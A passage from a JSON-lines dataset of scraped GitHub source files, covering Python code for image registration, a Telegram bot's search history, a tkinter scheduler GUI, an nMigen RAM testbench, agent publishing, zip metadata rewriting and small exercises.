self.padding_factor,use_cuda=self.use_cuda)\n\n # convert to variables 其中Tensor是原始数据,并不知道梯度计算等问题,\n # Variable里面有data,grad和grad_fn,其中data就是Tensor\n # image_batch = Variable(image_batch, requires_grad=False)\n # theta_batch = Variable(theta_batch, requires_grad=False)\n\n # indices_R = torch.tensor([choice(self.channel_choicelist)])\n # indices_G = torch.tensor([choice(self.channel_choicelist)])\n\n # indices_R = torch.tensor([1])\n # indices_G = torch.tensor([0])\n #\n # if self.use_cuda:\n # indices_R = indices_R.cuda()\n # indices_G = indices_G.cuda()\n #\n # rgb_image_batch_pad = torch.index_select(rgb_image_batch_pad, 1, indices_R)\n # nir_image_batch_pad = torch.index_select(nir_image_batch_pad, 1, indices_G)\n\n # 获取裁剪的图像\n cropped_image_batch = self.rescalingTnf(rgb_image_batch_pad, None, self.padding_factor,\n self.crop_factor) # Identity is used as no theta given\n # 获取裁剪变换的图像\n warped_image_batch = self.geometricTnf(nir_image_batch_pad, theta_batch,\n self.padding_factor,\n self.crop_factor) # Identity is used as no theta given\n\n return {'source_image': cropped_image_batch, 'target_image': warped_image_batch, 'theta_GT': theta_batch,\n 'name':image_name}","repo_name":"zhangliukun/registration_cnn_ntg","sub_path":"datasets/provider/nirrgbData.py","file_name":"nirrgbData.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"68"} +{"seq_id":"13762152064","text":"\"\"\"\nThis module contains all functions used throughout the codebase.\n\"\"\"\nimport constants\nimport numpy as np\nimport pickle\n\nclass Util():\n\n\tdef __init__(self):\n\t\tpass\n\n\tdef compute_euclidean_distance(self, vector_one, vector_two):\n\t\t\"\"\" Returns the euclidean distance between vector_one and vetor_two \"\"\"\n\t\treturn np.linalg.norm(vector_one - vector_two)\n\n\tdef fetch_dict_graph(self):\n\t\t\"\"\"\n\t\tgraph returned in this format -\n\t\tgraph = [{(1,2): 0.8, (1,3): 0.7, ....},\n\t\t\t\t{(2,1): 0.8, (2,3): 0.75, ...}]\n\t\t\"\"\"\n\t\tgraph_dict_file = open(constants.DUMPED_OBJECTS_DIR_PATH + \"entire_graph_dict.pickle\", \"rb\")\n\t\tobjects = pickle.load(graph_dict_file)\n\n\t\treturn objects[1]\n\n\tdef create_adj_mat_from_red_file(self, initial_k, similarity=False):\n\t\t\"\"\"\n\t\tif similarity is false, adj_matrix represents connectivity between two nodes in the graph\n\t\tif similarity is true, adj_matrix contains similarity between any two nodes in the graph \n\t\t\"\"\"\n\t\timage_id_mapping_file = open(constants.DUMPED_OBJECTS_DIR_PATH + \"image_id_mapping.pickle\", \"rb\")\n\t\timage_id_mapping = pickle.load(image_id_mapping_file)[1]\n\n\t\tgraph_file = open(\"../visualizations/reduced_graph_file_\" + str(initial_k) + \".txt\", \"r\")\n\t\tedges = graph_file.readlines()\n\n\t\tgraph_file_len = len(edges)\n\t\tsize_of_graph = graph_file_len // initial_k\n\t\tadj_matrix = []\n\t\timage1 = \"\"\n\t\tfor line in edges:\n\t\t\ttemp = line.split(\" \")\n\t\t\tif image1 != image_id_mapping[temp[0]]:\n\t\t\t\tadj_matrix.append([0]*size_of_graph)\n\t\t\t\timage1 = image_id_mapping[temp[0]]\n\t\t\telse:\n\t\t\t\timg2 = image_id_mapping[temp[1]]\n\t\t\t\tif(similarity):\n\t\t\t\t\tadj_matrix[-1][img2] = float(temp[2])\n\t\t\t\telse:\n\t\t\t\t\tadj_matrix[-1][img2] = 1\n\n\t\treturn adj_matrix\n\n\tdef image_id_mapping(self):\n\t\t\"\"\"\n\t\treturns image_id : index mapping\n\t\t\"\"\"\n\t\timage_id_mapping_file = open(constants.DUMPED_OBJECTS_DIR_PATH + \"image_id_mapping.pickle\", \"rb\")\n\t\treturn pickle.load(image_id_mapping_file)[1]\n\n\tdef validate_and_get_correct_k(self):\n\t\t\"\"\"\n\t\tReturns the right value of k for which the reduced graph was created\n\t\t\"\"\"\n\t\timage_id_mapping_file = open(constants.DUMPED_OBJECTS_DIR_PATH + \"image_id_mapping.pickle\", \"rb\")\n\t\timage_id_mapping = pickle.load(image_id_mapping_file)[1]\n\n\t\tgraph_file = open(constants.GRAPH_FILE, \"r\")\n\t\tedges = graph_file.readlines()\n\t\tsize_of_graph = len(image_id_mapping)\n\t\tinitial_k = len(edges) // size_of_graph\n\t\treturn initial_k\n","repo_name":"srdevan/Multimedia-Retrieval-Phase-3","sub_path":"code/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"43176898500","text":"import sqlite3\n\n\ndef history(bot, user_id: int) -> None:\n \"\"\"\n Фкнкция. Ищет команды, введенные пользователем, в базе данных и шлет\n пользователю историю поиска.\n\n :param bot:\n :param user_id:\n :return:\n \"\"\"\n conn = sqlite3.connect('tourobot.db', check_same_thread=False)\n cursor = conn.cursor()\n conn.commit()\n commands = cursor.execute(\"SELECT id, command_name, city, datetime FROM \"\n \"commands WHERE user_id = {}\".format(user_id))\n empty = True\n for command in commands:\n empty = False\n answer = get_hotels(command)\n bot.send_message(user_id, answer)\n if empty:\n bot.send_message(user_id, 'Вы еще не сделали ни одного запроса.')\n\n\ndef get_hotels(command: tuple) -> str:\n \"\"\"\n Функция. Возврает сообщение, содержашее команду, введенную пользователем,\n и найденные отели.\n\n :param command:\n :return answer:\n \"\"\"\n command_id = command[0]\n command_str = ' | '.join(command[1:])\n conn = sqlite3.connect('tourobot.db', check_same_thread=False)\n cursor = conn.cursor()\n conn.commit()\n hotels = cursor.execute(\"SELECT hotel_name FROM hotels \"\n \"WHERE command_id = {}\".format(command_id))\n hotels_str = '\\n\\t - '.join(hotel[0] for hotel in hotels)\n answer = \"{command_str}\\nНайденные отели:\\n\\t - {hotels_str}\".format(\n command_str=command_str, hotels_str=hotels_str)\n return answer\n","repo_name":"Molecula80/tourobot","sub_path":"botrequests/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"37442792346","text":"import Schedualing as s\nimport tkinter as tk\nfrom tkinter import StringVar\nfrom tkinter import PhotoImage\nfrom tkinter.constants import TOP, LEFT, CENTER\n\nwin = tk.Tk()\nwin.title(\"Schedualing\")\nheight = 450\nwidth = 450\n# 視窗定正中間\nxPos = int((win.winfo_screenwidth()-width)/2)\nyPos = int((win.winfo_screenheight()-height)/2)\nwin.geometry(str(width)+\"x\"+str(height)+\"+\"+str(xPos)+\"+\"+str(yPos))\n# 無法更改視窗大小\n#win.resizable(0, 0)\n\nwin.config(bg=\"#323232\")\n\n\ntaskLabel = tk.Label(win, text=\"Task: \", fg=\"#FFFFFF\", bg=\"#323232\")\ntaskLabel.config(font=\"Consolas 12\")\ntaskLabel.pack()\n\ntaskFr = tk.Frame(win)\ntaskFr.pack()\ntaskStringShowed = StringVar()\ntaskStringShowed.set(\"\")\n\n\ndef clear():\n global taskStringShowed\n taskStringShowed.set(\"\")\n\n\nclearBtn = tk.Button(taskFr, text=\"Clear\", bg=\"#A3A3A3\")\nclearBtn.config(width=6, height=1, bd=2, command=clear)\n\n\ntaskEntry = tk.Entry(taskFr, font=\"Consolas 12\", selectbackground=\"#FF8F2B\")\ntaskEntry.config(width=40, textvariable=taskStringShowed)\ntaskEntry.pack(side=tk.LEFT)\nclearBtn.pack(side=tk.LEFT)\n\n\ndef enter1():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"1\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter2():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"2\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter3():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"3\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter4():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"4\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter5():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"5\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter6():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"6\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter7():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"7\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter8():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"8\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\ndef enter9():\n s = \"\"\n if len(taskEntry.get()) != 0:\n s += \",\"\n s += \"9\"\n taskEntry.insert(len(taskEntry.get()), s)\n\n\nbtnFr = tk.Frame(win)\nbtnFr.pack()\nbtn1 = tk.Button(btnFr, text=\"1\", bg=\"#A3A3A3\")\nbtn1.config(width=4, height=1, bd=2, command=enter1)\nbtn1.grid(row=0, column=0)\nbtn2 = tk.Button(btnFr, text=\"2\", bg=\"#A3A3A3\")\nbtn2.config(width=4, height=1, command=enter2)\nbtn2.grid(row=0, column=1)\nbtn3 = tk.Button(btnFr, text=\"3\", bg=\"#A3A3A3\")\nbtn3.config(width=4, height=1, bd=2, command=enter3)\nbtn3.grid(row=0, column=2)\nbtn4 = tk.Button(btnFr, text=\"4\", bg=\"#A3A3A3\")\nbtn4.config(width=4, height=1, bd=2, command=enter4)\nbtn4.grid(row=1, column=0)\nbtn5 = tk.Button(btnFr, text=\"5\", bg=\"#A3A3A3\")\nbtn5.config(width=4, height=1, bd=2, command=enter5)\nbtn5.grid(row=1, column=1)\nbtn6 = tk.Button(btnFr, text=\"6\", bg=\"#A3A3A3\")\nbtn6.config(width=4, height=1, bd=2, command=enter6)\nbtn6.grid(row=1, column=2)\nbtn7 = tk.Button(btnFr, text=\"7\", bg=\"#A3A3A3\")\nbtn7.config(width=4, height=1, bd=2, command=enter7)\nbtn7.grid(row=2, column=0)\nbtn8 = tk.Button(btnFr, text=\"8\", bg=\"#A3A3A3\")\nbtn8.config(width=4, height=1, bd=2, command=enter8)\nbtn8.grid(row=2, column=1)\nbtn9 = tk.Button(btnFr, text=\"9\", bg=\"#A3A3A3\")\nbtn9.config(width=4, height=1, bd=2, command=enter9)\nbtn9.grid(row=2, column=2)\n\n\nmachineLabel = tk.Label(\n win, text=\"Maximum Number of Machines: \", fg=\"#FFFFFF\", bg=\"#323232\")\nmachineLabel.config(font=\"Consolas 12\")\nmachineLabel.pack()\n\nmachineFr = tk.Frame(win)\nmachineFr.pack()\nmachineStringShowed = StringVar()\nmachineStringShowed.set(\"\")\n\n\ndef machineAdd():\n global machineStringShowed\n if machineStringShowed != \"\":\n machineStringShowed.set(str(int(machineStringShowed)+1))\n else:\n machineStringShowed.set(\"1\")\n\n\naddBtn = tk.Button(machineFr, text=\"<\", bg=\"#A3A3A3\")\naddBtn.config(width=1, height=1, bd=2, command=machineAdd)\nmachineEntry = tk.Entry(machineFr, font=\"Consolas 12\",\n selectbackground=\"#FF8F2B\")\nmachineEntry.config(width=5, justify=tk.CENTER, bd=2,\n textvariable=machineStringShowed)\nmachineEntry.pack(side=tk.LEFT)\naddBtn.pack(side=tk.LEFT)\n\n\ntimeLabel = tk.Label(win, text=\"Time Limit: \", fg=\"#FFFFFF\", bg=\"#323232\")\ntimeLabel.config(font=\"Consolas 12\")\ntimeLabel.pack()\n\ntimeEntry = tk.Entry(win, font=\"Consolas 12\", selectbackground=\"#FF8F2B\")\ntimeEntry.config(width=5, justify=tk.CENTER, bd=2)\ntimeEntry.pack()\n\ntext = StringVar()\ntext.set(\"\")\n\ncontrolFr = tk.Frame(win)\ncontrolFr.pack()\n\n\ndef start():\n global text\n try:\n schedualing = s.SchedualSystem()\n schedualing.assignTasks(taskEntry.get())\n schedualing.setMachineNumberLimit(int(machineEntry.get()))\n schedualing.setTimeLimit(int(timeEntry.get()))\n schedualing.minMachineRequired()\n text.set(schedualing.resultMessage())\n except Exception:\n text.set(\"Invalid Operation!\")\n\n\nstarBtn = tk.Button(controlFr, text=\"Start\", bg=\"#A3A3A3\")\nstarBtn.config(width=6, height=1, bd=2, command=start)\nstarBtn.pack(side=tk.LEFT)\n\n\ndef renew():\n global text\n text.set(\"\")\n\n\nrenewBtn = tk.Button(controlFr, text=\"Renew\", bg=\"#A3A3A3\")\nrenewBtn.config(width=6, height=1, bd=2, command=renew)\nrenewBtn.pack(side=tk.RIGHT)\n\nresultLabel = tk.Label(win, textvariable=text, fg=\"#FFFFFF\", bg=\"#323232\")\nresultLabel.config(font=\"Consolas 12\", justify=tk.LEFT)\nresultLabel.pack()\n\n\nwin.mainloop()\n","repo_name":"Jamison-Chen/task-scheduling","sub_path":"ViewGUI.py","file_name":"ViewGUI.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"7246339978","text":"from nmigen import *\nfrom nmigen.back.pysim import *\n\n###############\n# RAM module: #\n###############\n\nclass RAM( Elaboratable ):\n def __init__( self, size_words ):\n # Record size.\n self.words = size_words\n # Address bits to select up to `size_words * 4` bytes.\n self.addr = Signal( range( self.words * 4 ), reset = 0 )\n # Data word output.\n self.dout = Signal( 32, reset = 0x00000000 )\n # 'Read Enable' input bit.\n self.ren = Signal( 1, reset = 0b0 )\n # Data word input.\n self.din = Signal( 32, reset = 0x00000000 )\n # 'Write Enable' input bit.\n self.wen = Signal( 1, reset = 0b0 )\n # Data storage.\n self.data = [\n Signal( 32, reset = 0x00000000, name = \"ram(0x%08X)\"%( i * 4 ) )\n for i in range( self.words )\n ]\n\n def elaborate( self, platform ):\n # Core RAM module.\n m = Module()\n\n # Set the 'dout' value if 'ren' is set.\n with m.If( self.ren ):\n # (Return 0 if the address is not word-aligned.)\n with m.If( ( self.addr & 0b11 ) != 0 ):\n m.d.sync += self.dout.eq( 0x00000000 )\n for i in range( self.words ):\n with m.Elif( self.addr == ( i * 4 ) ):\n m.d.sync += self.dout.eq( self.data[ i ] )\n\n # Write the 'din' value if 'wen' is set.\n with m.If( self.wen ):\n # (nop if the write address is not word-aligned.)\n with m.If( ( self.addr & 0b11 ) != 0 ):\n m.d.sync = m.d.sync\n for i in range( self.words ):\n with m.Elif( self.addr == ( i * 4 ) ):\n m.d.sync += self.data[ i ].eq( self.din )\n\n # End of RAM module definition.\n return m\n\n##################\n# RAM testbench: #\n##################\n# Keep track of test pass / fail rates.\np = 0\nf = 0\n\n# Perform an individual RAM write unit test.\ndef ram_write_ut( ram, address, data, success ):\n global p, f\n # Set addres, 'din', and 'wen' signals.\n yield ram.addr.eq( address )\n yield ram.din.eq( data )\n yield ram.wen.eq( 1 )\n # Wait one tick, and un-set the 'wen' bit.\n yield Tick()\n yield ram.wen.eq( 0 )\n # Done. Check that the 'din' word was successfully set in RAM.\n yield Settle()\n actual = yield ram.data[ address // 4 ]\n if success:\n if data != actual:\n f += 1\n print( \"\\033[31mFAIL:\\033[0m RAM[ 0x%08X ] = \"\n \"0x%08X (got: 0x%08X)\"\n %( address, data, actual ) )\n else:\n p += 1\n print( \"\\033[32mPASS:\\033[0m RAM[ 0x%08X ] = 0x%08X\"\n %( address, data ) )\n else:\n if data != actual:\n p += 1\n print( \"\\033[32mPASS:\\033[0m RAM[ 0x%08X ] != 0x%08X\"\n %( address, data ) )\n else:\n f += 1\n print( \"\\033[31mFAIL:\\033[0m RAM[ 0x%08X ] != \"\n \"0x%08X (got: 0x%08X)\"\n %( address, data, actual ) )\n\n# Perform an inidividual RAM read unit test.\ndef ram_read_ut( ram, address, expected ):\n global p, f\n # Set address and 'ren' bit.\n yield ram.addr.eq( address )\n yield ram.ren.eq( 1 )\n # Wait one tick, and un-set the 'ren' bit.\n yield Tick()\n yield ram.ren.eq( 0 )\n # Done. Check the 'dout' result after combinational logic settles.\n yield Settle()\n actual = yield ram.dout\n if expected != actual:\n f += 1\n print( \"\\033[31mFAIL:\\033[0m RAM[ 0x%08X ] == \"\n \"0x%08X (got: 0x%08X)\"\n %( address, expected, actual ) )\n else:\n p += 1\n print( \"\\033[32mPASS:\\033[0m RAM[ 0x%08X ] == 0x%08X\"\n %( address, expected ) )\n\n# Top-level RAM test method.\ndef ram_test( ram ):\n global p, f\n\n # Print a test header.\n print( \"--- RAM Tests ---\" )\n\n # Test writing data to RAM.\n yield from ram_write_ut( ram, 0x00, 0x01234567, 1 )\n yield from ram_write_ut( ram, 0x0C, 0x89ABCDEF, 1 )\n # Test reading data back out of RAM.\n yield from ram_read_ut( ram, 0x00, 0x01234567 )\n yield from ram_read_ut( ram, 0x04, 0x00000000 )\n yield from ram_read_ut( ram, 0x0C, 0x89ABCDEF )\n # Test mis-aligned writes.\n yield from ram_write_ut( ram, 0x01, 0xDEADBEEF, 0 )\n yield from ram_write_ut( ram, 0x02, 0xDEADBEEF, 0 )\n yield from ram_write_ut( ram, 0x03, 0xDEADBEEF, 0 )\n # Test mis-aligned reads.\n yield from ram_read_ut( ram, 0x01, 0 )\n yield from ram_read_ut( ram, 0x02, 0 )\n yield from ram_read_ut( ram, 0x03, 0 )\n\n # Done.\n yield Tick()\n print( \"RAM Tests: %d Passed, %d Failed\"%( p, f ) )\n\n# 'main' method to run a basic testbench.\nif __name__ == \"__main__\":\n # Instantiate a test RAM module with 32 bytes of data.\n dut = RAM( 8 )\n\n # Run the RAM tests.\n with Simulator( dut, vcd_file = open( 'ram.vcd', 'w' ) ) as sim:\n def proc():\n yield from ram_test( dut )\n sim.add_clock( 24e-6 )\n sim.add_sync_process( proc )\n sim.run()\n","repo_name":"WRansohoff/nmigen_cpu_test","sub_path":"ram.py","file_name":"ram.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29325652846","text":"import os\nimport shutil\nimport tarfile\nimport tempfile\nfrom typing import cast\n\nimport click\n\nfrom aea.cli.registry.utils import (\n check_is_author_logged_in,\n clean_tarfiles,\n request_api,\n)\nfrom aea.cli.utils.config import try_to_load_agent_config\nfrom aea.cli.utils.context import Context\nfrom aea.cli.utils.generic import is_readme_present\nfrom aea.cli.utils.loggers import logger\nfrom aea.common import JSONLike\nfrom aea.configurations.constants import (\n CONNECTIONS,\n CONTRACTS,\n DEFAULT_AEA_CONFIG_FILE,\n DEFAULT_README_FILE,\n PROTOCOLS,\n SKILLS,\n)\n\n\ndef _compress(output_filename: str, *filepaths: str) -> None:\n \"\"\"Compare the output file.\"\"\"\n with tarfile.open(output_filename, \"w:gz\") as f:\n for filepath in filepaths:\n f.add(filepath, arcname=os.path.basename(filepath))\n\n\n@clean_tarfiles\ndef publish_agent(ctx: Context) -> None:\n \"\"\"Publish an agent.\"\"\"\n try_to_load_agent_config(ctx)\n check_is_author_logged_in(ctx.agent_config.author)\n\n name = ctx.agent_config.agent_name\n config_file_source_path = os.path.join(ctx.cwd, DEFAULT_AEA_CONFIG_FILE)\n readme_source_path = os.path.join(ctx.cwd, DEFAULT_README_FILE)\n output_tar = os.path.join(ctx.cwd, \"{}.tar.gz\".format(name))\n\n with tempfile.TemporaryDirectory() as temp_dir:\n package_dir = os.path.join(temp_dir, name)\n os.makedirs(package_dir)\n config_file_target_path = os.path.join(package_dir, DEFAULT_AEA_CONFIG_FILE)\n shutil.copy(config_file_source_path, config_file_target_path)\n if is_readme_present(readme_source_path):\n readme_file_target_path = os.path.join(package_dir, DEFAULT_README_FILE)\n shutil.copy(readme_source_path, readme_file_target_path)\n\n _compress(output_tar, package_dir)\n\n data = {\n \"name\": name,\n \"description\": ctx.agent_config.description,\n \"version\": ctx.agent_config.version,\n CONNECTIONS: ctx.agent_config.connections,\n CONTRACTS: ctx.agent_config.contracts,\n PROTOCOLS: ctx.agent_config.protocols,\n SKILLS: ctx.agent_config.skills,\n }\n\n files = {}\n try:\n files[\"file\"] = open(output_tar, \"rb\") # pylint: disable=consider-using-with\n if is_readme_present(readme_source_path):\n files[\"readme\"] = open( # pylint: disable=consider-using-with\n readme_source_path, \"rb\"\n )\n path = \"/agents/create\"\n logger.debug(\"Publishing agent {} to Registry ...\".format(name))\n resp = cast(\n JSONLike, request_api(\"POST\", path, data=data, is_auth=True, files=files)\n )\n finally:\n for fd in files.values():\n fd.close()\n click.echo(\n \"Successfully published agent {} to the Registry. Public ID: {}\".format(\n name, resp[\"public_id\"]\n )\n )\n","repo_name":"fetchai/agents-aea","sub_path":"aea/cli/registry/publish.py","file_name":"publish.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":182,"dataset":"github-code","pt":"68"} +{"seq_id":"13032220504","text":"#addition of digits of a number\n\ndef main():\n num = int(input(\"Enter a number :\"))\n sum = 0\n i = 0\n for i in num:\n sum = sum + int(i)\n\n print(sum)\n\nif __name__ == \"__main__\":\n main()","repo_name":"Shivamwagh4040/Python","sub_path":"Assignment2_10.py","file_name":"Assignment2_10.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"18535992781","text":"import zipfile\nfrom pathlib import Path\n\nfrom genutility.atomic import TransactionalCreateFile\nfrom genutility.file import copyfilelike\nfrom genutility.rich import Progress, get_double_format_columns\nfrom rich.progress import Progress as RichProgress\n\nfrom filemetatools import zip as ziptool\n\n\"\"\"\n7z a -tzip -stl -mx9 -mtc- filename.7z.zip \"directory\"\n\"\"\"\n\n\ndef find_zip_with_extra(path: Path) -> None:\n for path in path.rglob(\"*.zip\"):\n has_extras = ziptool.zip_has_extra(path)\n print(has_extras, path)\n\n\ndef rewrite_zip_without_extra(basepath: Path) -> None:\n \"\"\"Rewrite all zip files in directory without any extra metainfo.\n This can be used to create more easily reproducible zip files or remove unwanted pii.\n \"\"\"\n\n with RichProgress(*get_double_format_columns()) as progress:\n p = Progress(progress)\n for path in p.track(basepath.rglob(\"*.zip\"), description=\"Processed {task.completed} zip files\"):\n relpath = path.relative_to(basepath)\n with TransactionalCreateFile(path, \"xb\", handle_archives=False) as f_tmp:\n with zipfile.ZipFile(path, \"r\") as a_in, zipfile.ZipFile(\n f_tmp, \"x\", zipfile.ZIP_DEFLATED, allowZip64=True, compresslevel=9\n ) as a_out:\n infolist = a_in.infolist()\n for info in p.track(infolist, description=str(relpath)):\n if info.is_dir():\n info.date_time = (1980, 1, 1, 0, 0, 0)\n info.extra = b\"\"\n assert info.comment == b\"\"\n with a_in.open(info, \"r\") as f_in, a_out.open(info, \"w\") as f_out:\n copyfilelike(f_in, f_out)\n\n\ndef compare_zip_meta(path_a, path_b) -> bool:\n with zipfile.ZipFile(path_a, \"r\") as zip_a, zipfile.ZipFile(path_b, \"r\") as zip_b:\n for info_a, info_b in zip(zip_a.infolist(), zip_b.infolist()):\n d_a = ziptool.slots_to_dict(info_a)\n d_b = ziptool.slots_to_dict(info_b)\n if d_a != d_b:\n print(d_a, d_b)\n return False\n return True\n\n\nif __name__ == \"__main__\":\n from argparse import ArgumentParser\n\n from genutility.args import is_file\n\n parser = ArgumentParser()\n parser.add_argument(\"action\", choices=(\"has-extra\", \"rewrite-without-extra\", \"compare-meta\", \"copy-zip\"))\n parser.add_argument(\"--path\", type=Path)\n parser.add_argument(\"--path-left\", type=is_file)\n parser.add_argument(\"--path-right\", type=is_file)\n args = parser.parse_args()\n\n if args.action == \"has-extra\":\n assert args.path.is_dir()\n find_zip_with_extra(args.path)\n elif args.action == \"rewrite-without-extra\":\n assert args.path.is_dir()\n rewrite_zip_without_extra(args.path)\n elif args.action == \"compare-meta\":\n assert args.path_left.is_file()\n assert args.path_right.is_file()\n compare_zip_meta(args.path_left, args.path_right)\n elif args.action == \"copy-zip\":\n if args.path is None:\n parser.error(\"--path is required\")\n if not args.path.is_file():\n parser.error(\"--path must be a file\")\n ziptool.copy_zip(args.path, args.path.with_suffix(\".new.zip\"))\n","repo_name":"Dobatymo/file-meta-tools","sub_path":"zip-tool.py","file_name":"zip-tool.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"4470063549","text":"class User:\t\t# here's what we have so far\n def __init__(self, name, email):\n self.name = name\n self.email = email\n self.account_balance = 0\n # adding the deposit method\n def make_deposit(self, amount):\t# takes an argument that is the amount of the deposit\n \tself.account_balance += amount\t# the specific user's account increases by the amount of the value received\n def make_withdrawal(self, amount):\n self.account_balance -= amount\n def display_user_balance(self):\n print(f\"User: {self.name}, Balance: ${self.account_balance}\")\n def transfer_money(from_name, to_name, amount):\n from_name.make_withdrawal(amount)\n to_name.make_deposit(amount)\n\n\nmitchell = User(\"Mitchell Caldwell\", \"mitchel@python.com\")\nkristy = User(\"Kristy Blair\", \"kristy@python.com\")\ndarin = User(\"Darin James\", \"darin@python.com\")\n\nmitchell.make_deposit(250)\nmitchell.make_deposit(550)\nmitchell.make_deposit(100)\nmitchell.make_withdrawal(200)\nmitchell.display_user_balance()\n\nkristy.make_deposit(200)\nkristy.make_deposit(250)\nkristy.make_withdrawal(100)\nkristy.make_withdrawal(175)\nkristy.display_user_balance()\n\ndarin.make_deposit(800)\ndarin.make_withdrawal(200)\ndarin.make_withdrawal(300)\ndarin.make_withdrawal(250)\ndarin.display_user_balance()\n\nmitchell.transfer_money(darin, 100)\nmitchell.display_user_balance()\ndarin.display_user_balance()\n\n\n","repo_name":"JansenRachel/user.py","sub_path":"user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"19167508011","text":"from prettytable import PrettyTable\nimport os\nimport numpy as np\nfrom scipy.stats import kstest\nimport math\nimport matplotlib.pyplot as plt\n# fileDir =\"combined112\"\n# datafile = \"getDataUpdated_2.out\"\n# plotdir = \"combined112Plots\"\n# resultdir = plotdir + \"/results/\"\nfileDir =\"combined56\"\ndatafile = \"getDataUpdated56_1.out\"\nplotdir = \"combined56Plots_1_new\"\nresultdir = plotdir + \"/results/\"\n\nblocking = dict()\nsgap = dict()\nrgap = dict()\nvgap = dict()\nedgecalc = dict()\ncorecalc = dict()\n\nplotting = False\nplotAverages = False\n\nSUPERSTEPS = 2520\nblock = dict()\ngap = dict()\nedges = dict()\ncore = dict()\n\nheaders = []\nITER = 2520\n\n\ndef max(a, b):\n if a >= b:\n return a\n else:\n return b\n\n# def createMapIndex(key):\n# datamap[key] = ([],[],[],[],[])\n# i = 0\n# while i < 10:\n# datamap[key][0].append([])\n# datamap[key][1].append([])\n# datamap[key][2].append([])\n# datamap[key][3].append([])\n# i+=1\n\ndef open_file(name):\n # Use a breakpoint in the code line below to debug your script.\n file = open(fileDir + \"/\" + datafile, \"r\")\n # find latency\n latency = 0\n # possible tags:\n # COMBLO\n # COMGAP\n # EDGECA\n # CORECA\n global sgap\n global rgap\n global vgap\n global corecalc\n global edgecalc\n global blocking\n start = 0\n for nextline in file:\n s = nextline[0:6]\n # find start of datafiles.\n if s == \"COMBLO\":\n start = 1\n while True:\n nextline = file.readline().removesuffix(\"\\n\")\n if(nextline[0:6] == \"COMGAP\"):\n break\n # Do what we need to do then break\n splitLine = nextline.split(\",\")\n width = int(splitLine[0])\n blocking[width] = []\n i = 1\n while i < len(splitLine):\n try:\n if (float(splitLine[i]) == 0):\n i+=1\n continue\n if(float(splitLine[i] == 7.0)):\n print(\"found\")\n blocking[width].append(float(splitLine[i]))\n\n except ValueError as e:\n print(\"Block splitline at \" + str(i) + \"got error \" + str(e))\n\n i+=1\n if (start == 1):\n while True:\n nextline = file.readline().removesuffix(\"\\n\")\n if(nextline[0:6] == \"EDGECA\"):\n break\n # Do what we need to do then break\n splitLine = nextline.split(\",\")\n\n width = int(splitLine[0])\n try:\n sgap[width]\n except KeyError:\n sgap[width] = []\n rgap[width] = []\n vgap[width] = []\n i = 2\n while i < len(splitLine):\n deciSplit = splitLine[i].split(\";\")\n if len(deciSplit) != 3:\n i+=1\n continue\n if float(deciSplit[0]) == 0:\n i+=1\n continue\n if float(deciSplit[0]) == 0:\n i+=1\n continue\n if float(deciSplit[0]) == 0:\n i+=1\n continue\n sgap[width].append(float(deciSplit[0]))\n rgap[width].append(float(deciSplit[1]))\n vgap[width].append(float(deciSplit[2]))\n i+=1\n\n # edgecalc\n while True:\n nextline = file.readline().removesuffix(\"\\n\")\n if (nextline[0:6] == \"CORECA\"):\n break\n splitLine = nextline.split(\",\")\n\n\n\n width = int(splitLine[0]) + (int(splitLine[2])/10)\n try:\n edgecalc[width]\n except KeyError:\n edgecalc[width] = []\n i = 3\n while i < len(splitLine):\n if (float(splitLine[i]) == 0):\n i+=1\n continue\n edgecalc[width].append(float(splitLine[i]))\n i+=1\n\n # corecalc\n indenter = 1;\n while True:\n nextline = file.readline().removesuffix(\"\\n\")\n if (nextline[0:4] == \"TIME\"):\n break\n splitLine = nextline.split(\",\")\n\n tag = str(int(splitLine[1])) + \".\"+ str(int(splitLine[3]))\n key = int(splitLine[0])\n if key not in corecalc.keys():\n corecalc[key] = dict()\n i = 4\n try:\n var = len(corecalc[key][tag])\n except KeyError:\n corecalc[key][tag] = []\n while i < len(splitLine):\n corecalc[key][tag].append(float(splitLine[i]))\n i += 1\n break\n\ndef removeExtremes():\n for i in sorted(blocking.keys()):\n list = sorted(blocking[i])\n leng = len(list)\n leng = leng/100\n j = 0\n while j < leng:\n if j % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n j += 1\n blocking[i] = list\n #rgap\n for 